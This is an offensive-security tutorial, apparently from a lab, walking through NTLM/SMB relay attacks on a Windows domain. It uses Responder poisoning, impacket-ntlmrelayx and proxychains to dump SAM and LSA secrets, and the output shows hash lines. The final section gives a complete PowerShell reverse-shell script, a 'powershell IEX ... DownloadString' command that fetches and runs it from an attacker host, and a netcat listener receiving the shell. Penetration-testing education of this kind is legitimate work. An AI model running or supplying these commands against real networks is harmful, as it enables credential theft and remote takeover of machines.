



NTLM/SMB Relay

Intro

At this point we have already seen two very interesting: **The first** is that if we capture an authentication through **NTLM** we can extract the **challenge in plain text** and **the challenge encrypted** and with this information crack it to get the password in plain text of the user that initiates the authentication. **The second** thing is that we do not need to be in the middle of the communication or sniffing the communication and nothin like that, **we just need to poison the communication**, **LLMNR** and **NBTNS**, and when a user fail trying to consume a network services, we resolve and recibes the authentications package on our Attack Machine and then try to crack it.

But, What happens if those users that we have received the authentications packets have Strong passwords? Somebody can say *"Let's use pass the hash! :D"*. But that technique won't work because what **we receive is not the hash NTLM of the user**, this is a *random number* that also is **different** in every single authentication process that is **encrypted with the hash of the user**. Having this problem, this is where   **NTLM/SMB Relay** comes in, which is the technique we will see in this section.

What does this technique consist of? The basis is relatively simple. Use the **Responder to poison** the protocol **LLMNR & NBTNS**. When somebody fails in the network infrastructure trying to consume a service, for example try to access a Share Folder, we resolve the name and that client tries to connect to our attacker machine. Here, what we are going to do is use another tool to **start a Fake SMB server**, that will take the authentication request launched from the client and **we will forward it to the machine that interests us**.


So, the administrator user came, sent a **NTLM** negotiation request to our **Fake SMB server** and **we resend the request** to another machine where we want to authenticate. Then the machine **sends the challenge to us**, *because we are in the middle*, and **we resend the challenge to the Administrator user**. The Administrator **encrypted the challenger with his hash, his private key and sent it to us**. We resend the encrypted challenger to the server or the machine that we are interested in and that machine gives us access to the **file system**. Finally, **we cut the communication** with the client and **we kept that access** to make all the operations that we want to do.

For this technique to work, a condition must be met with the terminals that are in the infrastructure: the **SMB signature**, which is what authenticates the origin of a request in this protocol, **must be disabled**. This characteristic of the SMB protocol it is not always Enable by default,

NTLM/SMB Relay On Action

To identify which machines have not the **SMB signature enabled** we can use tools like **nmap scripts engine** or **Crackmapexec/Netexec**. In this case we will use the last one mentioned with the command:

```
crackmapexec smb 10.10.10.0/24
```

And all those machines with an IP address that appear with the **(signing:False)** are the machines on which we can make  **NTLM/SMB Relay**

```

C:\Users\user\Desktop> crackmapexec smb 192.168.20.0/24
SMB 192.168.20.5 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 192.168.20.132 445 WS02 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS02) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:corp.local) (signing:False) (SMBv1:False)

```

Once identifies, we have to create a file with all those IP address that have the **signing:false** to next use another module of **impacket** to whom we will pass that file named **impacket-ntlmrelayx** with the command:

impacket-ntlmrelayx -smb2support -tf targets.txt

```

C:\Users\user\Desktop> impacket-ntlmrelayx -smb2support -tf targets.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay enabled
[*] Servers started, waiting for connections

```

And This will up on your attacker machine, on our machine, several **clients** and **servers** on several protocols, including **SMB**. Why up client and server? Because now we are going **to act like the machine that is in the middle of the communication**. So we will receive the client request on our **SMB server** and then we will send it to the original server, the target machine, as if we were a client.

On the other hand, using **“responder”**, we are going to **poison** the traffic, so that, when a legitimate client of the infrastructure makes a mistake when requesting a shared resource, **it authenticates against our SMB server**, and we redirect its authentication to the machine that interests us.

To do that we have to modified the file of that is on the route **/etc/responder/Responder.conf** to **“tell it”** to **responder that doesn't up a SMB and HTTP server** because impacket will be using them with the command:

sudo nano /etc/responder/Responder.conf

```

; Servers to start
SQL      = On
SMB      = Off
RDP      = On
Kerberos = On
FTP      = On
POP      = On
SMTP     = On
IMAP     = On
HTTP     = Off
HTTPS    = On

```

Done!

And now we can use **responder** with the command:

sudo responder -I eth0 -b -v

```
~/.Desktop/Maquinas Active Directory/SMBRelay > sudo responder -I eth0 -b -v
[sudo] password for kali:
NBT-NS, LLMNR & MDNS Responder 3.1.5.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
```

And now we just have to wait until a user fails to enter their credentials into the infrastructure and we will receive those credentials, the **"SAM" of those machines will be dumped**

```
[*] All targets processed!
[*] SMBD-Thread-5 (process_request_thread): Connection from CORP/ADMINISTRATOR@192.168.20.5 but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd61985adbf45b7a58ac02fc6d58e2f3
[*] Dumping local SAM hashes (uid:rid:lmhash\ntohash)
[*] Target system bootKey: 0x533c6e81658712280d319555a6ab32bf
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
WdAGUtilityAccount:584:aad3b435b51404eeaad3b435b51404ee:212a3b231d91d0b23d7cd96ae0971ed04:::
[*] Dumping local SAM hashes (uid:rid:lmhash\ntohash)
Alex2:1000:aad3b435b51404eeaad3b435b51404ee:7cd21f17c0aee7fb9c0eb532d0546ad0:::
[*] Done dumping SAM hashes for host: 192.168.20.132
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0:::
WdAGUtilityAccount:584:aad3b435b51404eeaad3b435b51404ee:07e298b6dddf5839c781b021228dc79a8:::
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Alex3:1000:aad3b435b51404eeaad3b435b51404ee:7a2190f0cd3d759941e45c490f143d5f:::
[*] Done dumping SAM hashes for host: 192.168.20.130
```

→ SAM Dumping

But with this technique we can do **more** than just dump the SAM, now we can do **anything**. We can do things from **executing commands** to **redirect this through a proxy** with that module of **impacket-ntlmrelayx**.

NTLM/SMB Relay with a proxy

To create a proxy using **impacket-ntlmrelay** we have used the same command adding the flag **--socks** and if we executed this, when a user made a mistake it would connect against us, and now **impacket will create an active connection through socks**, that will be **listen by the port 1080**. And when we press **Enter** we will have an **interactive session of that user of that that user** and now we can **interact** with it using other tools such as **proxychains**.

```
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
[*] Received connection from CORP/Administrator at DC01, connection will be relayed after re-authentication
[]
[*] SMBD-Thread-9 (process_request_thread): Connection from CORP/ADMINISTRATOR@192.168.20.5 attacking target smb://192.168.20.130
[*] Authenticating against smb smb://192.168.20.130 P/ADMINISTRATOR SUCATOR SUCCEED
[*] SOCKS: Adding CORP/ADMINISTRATOR@192.168.20.130( ) active SOCKS connection. Enjoy
[*] All targets processed!
[*] SMBD-Thread-9 (process_request_thread): Connection from CORP/ADMINISTRATOR@192.168.20.5 controlled, but there are no more targets left!

ntlmrelayx> socks
Protocol Target Username AdminStatus Port
SMB 192.168.20.130 CORP/ADMINISTRATOR TRUE 445
ntlmrelayx>
```

→ Our active session

Now to indicate to **proxychains** a the port that **impacket** will listen, as we said, is the port **1080**, modify the file **proxychains4.conf** with the command

sudo nano /etc/proxychains4.conf

```
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 1080
```

Done it!

Now, **impacket** will accept requests to that port 1080 that will be **redirecting** here using **proxychains4** and any other tool against that machine . For example

proxychains4 crackmapexec smb 10.10.10.10 -u 'captureduser' -d 'domain'

```
proxychains4 crackmapexec smb 192.168.20.130 -u Administrator -d corp
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:135 ←denied
SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 (name:WS01) (domain:corp) (signing:False) (SMBv1:False)
```

And we can use request on behalf of that user using his credentials even a **fake password**

**proxychains4 crackmapexec smb 10.10.10.10 -u 'captureduser' -d 'domain' p
apassword**

```
proxychains4 crackmapexec smb 192.168.20.130 -u Administrator -d corp -p sadf
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:135 ←denied
SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 (name:WS01) (domain:corp) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
SMB 192.168.20.130 445 WS01 [*] corp/Administrator:sadf (Pwn3d!)
```

If we want **dump the the sam**, we can do it



```
proxychains4 crackmapexec smb 192.168.20.130 -u Administrator -d corp -p sadf --sam
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:135 ←denied
SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 (name:WS01) (domain:corp) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
SMB 192.168.20.130 445 WS01 [*] Dumping SAM hashes
SMB 192.168.20.130 445 WS01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 DeFaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:07e298b6d6f5039c781b021228dc79a8:::
SMB 192.168.20.130 445 WS01 Alex1:1000:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
SMB 192.168.20.130 445 WS01 [*] Added 5 SAM hashes to the database
```

Do we want to **Dump LSA**? We can do that too.

```
proxychains4 crackmapexec smb 192.168.20.130 -u Administrator -d corp -p sadf --lsa
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:135 ←denied
SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 (name:WS01) (domain:corp) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.20.130:445 ... OK
SMB 192.168.20.130 445 WS01 [*] corp/Administrator:sadf (Pwn3d!)
SMB 192.168.20.130 445 WS01 [*] Dumping LSA hashes
SMB 192.168.20.130 445 WS01 CORP.LOCAL/employee1:SDCC2510240employee1ff33d18b5648d5c4388a54d303a69c512: (2025-03-24 23:35:26)
SMB 192.168.20.130 445 WS01 CORP.LOCAL/Administrator:SDCC2510240Administrator950dcd17d44ef8d0a94762b6d5df2c42d: (2024-12-16 22:49:50)
SMB 192.168.20.130 445 WS01 CORP.LOCAL/Judie.Lonee:SDCC2510240Judie.Lonee8d643f26c1039216922770750004ed: (2025-02-06 22:22:50)
SMB 192.168.20.130 445 WS01 CORP.LOCAL/Lara.alanna:SDCC2510240Lara.alanna1c179080a124689493092fbb9af7f98b0: (2025-02-25 23:04:08)
SMB 192.168.20.130 445 WS01 CORP\WS011:ae256-cts-hmac-sha1-96:41909220838b69404e382b0c13dcadaf6dd4185c799f05a50874eb0ad2dccc
SMB 192.168.20.130 445 WS01 CORP\WS011:ae256-cts-hmac-sha1-96:4703c65b26869d713b1070df22a7ace0
SMB 192.168.20.130 445 WS01 CORP\WS011:des-cbc-md5:6d58490bd43a7a08
SMB 192.168.20.130 445 WS01 CORP\WS011:plain_password_hex:c47d4279702a1f07f3a25085162f8094c0bd524ee72384fb3ab13d0120c215e6f2f5f5da376c209c68b04209050b3d70441548f8700005906399fb20824050407bd07f6c4c
b9f4ac09f8109539b7c07735d6d5c5c0b4007baec0d61685772720e00ba7b705651028e0216861826950f101a02455001343027050f83aee6a1d659c9f4a50fcd091a5bdcad0ff2e5fecccb08f1bc85d0d1004611b1f67c411d072780904008f058ff5682ab3e7fc2ca
710780904c115d3182098f8175917620dcfedf7e73cd909c6c712b0475d70206865398953df1ef3f0
SMB 192.168.20.130 445 WS01 CORP\WS011:aad3b435b51404eeaad3b435b51404ee:3df605b7970bdfc004f828465f9caf:::
SMB 192.168.20.130 445 WS01 dpapi_machinekey:0x22845263a6a08e05cf30fb0643afaf298d6f080
dpapi_userkey:0xf0eaffa20809c27ae5721567340bc173eas
SMB 192.168.20.130 445 WS01 [*] Dumped 11 LSA secrets to /home/kali/.cm/logs/WS01_192.168.20.130_2025-03-24_195638.secrets and /home/kali/.cm/logs/WS01_192.168.20.130_2025-03-24_195638.cached
```

All this is happening because by making a **Relay** of that authentication process, **we keep that session of that user** by proxy and we can **consulting them via proxychains** and we can do this with any other tool.

NTLM/SMB Relay Executing Commands


Another thing that we can do with the   NTLM/SMB Relay is execute command adding the flag **-c**. For example we can upload a **revershell** and **gain access** if the user that fails the request has privilege on that machine. We can do that following the next steps:

- 1) **Downloading or programming** the script of a reverse shell on **.ps1** format.

```
PS C:\De\Maquinas A> cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('192.168.194.128',5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65
5351|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).
GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();$clien
t.Close()
```

- 2) Setting up a server **http**, for example i used python

```
PS C:\De\Maquinas Active Directory> python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

- 3) Set a listener. In this case i used **netcat** 

```
PS C:\De\Maquinas Active Directory> netcat -lvnp 5555
listening on [any] 5555 ...
```

- 4) Poison the traffic with **responder** (we know how to do that).
- 5) And finally use **impacket-ntlmrelayx** the flag **-c** and indicating the command of **downloadstring**: **impacket-ntlmrelayx -smb2support -tf targets.txt -c**

“powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.8888/shell.ps1')”

```
PS C:\De\Maquinas Active Directory> impacket-ntlmrelayx -smb2support -tf targets.txt -c "powershell IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.20.128/shell.ps1')"
```

impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

- [*] Protocol Client DCVNC loaded...
- [*] Protocol Client MSSQL loaded...
- [*] Protocol Client RPC loaded...
- [*] Protocol Client IMAPS loaded...
- [*] Protocol Client IMAP loaded...
- [*] Protocol Client LDAP loaded...
- [*] Protocol Client SMB loaded...
- [*] Protocol Client SMTP loaded...
- [*] Protocol Client HTTP loaded...
- [*] Protocol Client HTTP loaded...
- [*] Setting up SMB Server on port 445
- [*] Running in relay mode to hosts in targetfile
- [*] Setting up HTTP Server on port 80
- [*] Setting up MCF Server on port 8389
- [*] Setting up RMF Server on port 6666
- [*] Multirelay enabled
- [*] Servers started, waiting for connections

And now we just have to wait until a user that have privileges on that machine fails on a request, that user will use our command on that machine and we will gain access to that machine

```
PS C:\De\Maquinas Active Directory> python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.20.130 - - [25/Mar/2025 22:33:48] "GET /shell.ps1 HTTP/1.1" 200 -
```



↓

Command executed successfully!!

```
PS C:\De\Maquinas Active Directory> netcat -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.20.128] from (UNKNOWN) [192.168.20.130] 53835
PS C:\Windows\system32>
```

→ **Successful Access**

Conclusion

This is the technique   **NTLM/SMB Relay**. And the most important thing that we must understand about this technique it is that we are **in the middle of the communication** and when a legitim client send that negotiation network packet with his name user, we **redirect it** to the target machine were we want to establish an authenticated session, to his folder service, that machine responds with the challenger that we must cypher and we, instead of encrypt anything, redirect to the original client, that will cypher with his private key, and us without touching, send it to the services of our target machine. And send us back an authenticated session.